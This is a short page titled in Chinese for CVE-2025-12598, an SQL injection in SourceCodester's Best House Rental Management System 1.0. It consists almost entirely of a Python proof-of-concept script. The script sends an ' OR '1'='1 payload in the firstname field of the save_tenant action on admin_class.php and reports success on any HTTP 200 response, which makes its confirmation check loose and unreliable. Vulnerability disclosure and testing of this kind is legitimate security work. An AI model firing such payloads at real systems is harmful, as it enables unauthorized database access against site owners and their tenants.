CVE-2025-12598: SourceCodester房屋租赁系统SQL注入漏洞

import requests import sys # CVE-2025-12598 SQL Injection PoC # Target: SourceCodester Best House Rental Management System 1.0 # Vulnerability: SQL Injection in /admin_class.php save_tenant function target_url = "http://target-site.com/admin_class.php" # Malicious payload for SQL injection in firstname parameter payload = "' OR '1'='1" data = { 'action': 'save_tenant', 'firstname': payload, 'lastname': 'Test', 'email': '[email protected]', 'contact': '1234567890', 'address': 'Test Address' } try: print("[*] Sending SQL injection payload...") print(f"[*] Payload: {payload}") response = requests.post(target_url, data=data, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") if 'error' not in response.text.lower() or response.status_code == 200: print("[+] Possible vulnerability confirmed!") else: print("[-] Response indicates potential SQL error") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") sys.exit(1)